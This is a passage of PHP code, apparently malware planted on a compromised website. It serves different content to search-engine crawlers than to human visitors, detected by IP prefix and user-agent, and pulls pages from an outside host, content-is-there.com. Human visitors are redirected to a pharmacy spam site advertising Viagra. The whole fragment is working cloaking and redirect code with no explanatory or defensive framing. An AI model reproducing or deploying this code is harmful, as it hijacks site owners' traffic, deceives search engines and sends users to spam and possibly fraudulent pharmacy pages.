array( 'method'=>"GET", 'header'=>"Accept-language: en\r\n" . "Cookie: ref=".$_SERVER['HTTP_REFERER'].";search_engine=".$search_engine."\r\n" ) ); $dir_cloak="/mpe/"; $dor_name="www.mpe.co.uk"; $ext_file=".php"; $context = stream_context_create($opts); /************************************************************************************************************/ /************************************************************************************************************/ /************************************************************************************************************/ if(strlen($url_part)==0) $ext_file=""; if (!((substr(trim($_SERVER['REMOTE_ADDR']),0,6)=="74.125")||preg_match("!(googlebot|msnbot|yahoo|search|bing|ask|indexer)!i", $_SERVER['HTTP_USER_AGENT']))) { $html=file_get_contents('http://content-is-there.com'.$dir_cloak.$url_part.$ext_file,false,$context); if(strlen($html)<500) { $html=file_get_contents('http://'.$dor_name.$_SERVER['REQUEST_URI'],false,$context); } else { header( 'Location: http://canadapharmacy24h.com/catalog/Bestsellers/Viagra.htm?refid=689', true, 301 ); } } else { $html=file_get_contents('http://content-is-there.com'.$dir_cloak.$url_part.$ext_file,false,$context); if(strlen($html)<500) { $html=file_get_contents('http://'.$dor_name.$_SERVER['REQUEST_URI'],false,$context); } } echo $html; ?>